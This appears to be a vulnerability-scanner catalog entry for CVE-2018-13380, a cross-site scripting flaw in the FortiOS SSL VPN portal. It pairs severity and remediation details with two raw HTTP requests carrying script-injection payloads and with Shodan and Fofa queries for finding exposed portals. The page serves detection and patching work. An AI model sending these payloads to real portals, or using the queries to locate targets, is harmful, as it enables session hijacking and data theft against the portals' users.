| Title | Fortinet FortiOS - Cross-Site Scripting |
|---|---|
| Author | shelld3v,AaronChen0 |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or updates provided by Fortinet to fix this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.34498 |
| CVE ID | CVE-2018-13380 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:"/remote/login" "xxxxxxxx"http.favicon.hash:945408572cpe:"cpe:2.3:o:fortinet:fortios"port:10443 http.favicon.hash:945408572 |
| Fofa Query | body="/remote/login" "xxxxxxxx"icon_hash=945408572 |
| Tags | cve cve2018 fortios xss fortinet vuln |
Fortinet FortiOS 6.0.0 to 6.0.4, 5.6.0 to 5.6.7, 5.4.0 to 5.4.12, 5.2 and below versions under SSL VPN web portal are vulnerable to cross-site scripting and allows attacker to execute unauthorized malicious script code via the error or message handling parameters.
GET /message?title=x&msg=%26%23%3Csvg/onload=alert(1337)%3E%3B HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
GET /remote/error?errmsg=ABABAB--%3E%3Cscript%3Ealert(1337)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-13380.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-13380.pcap
N/AN/A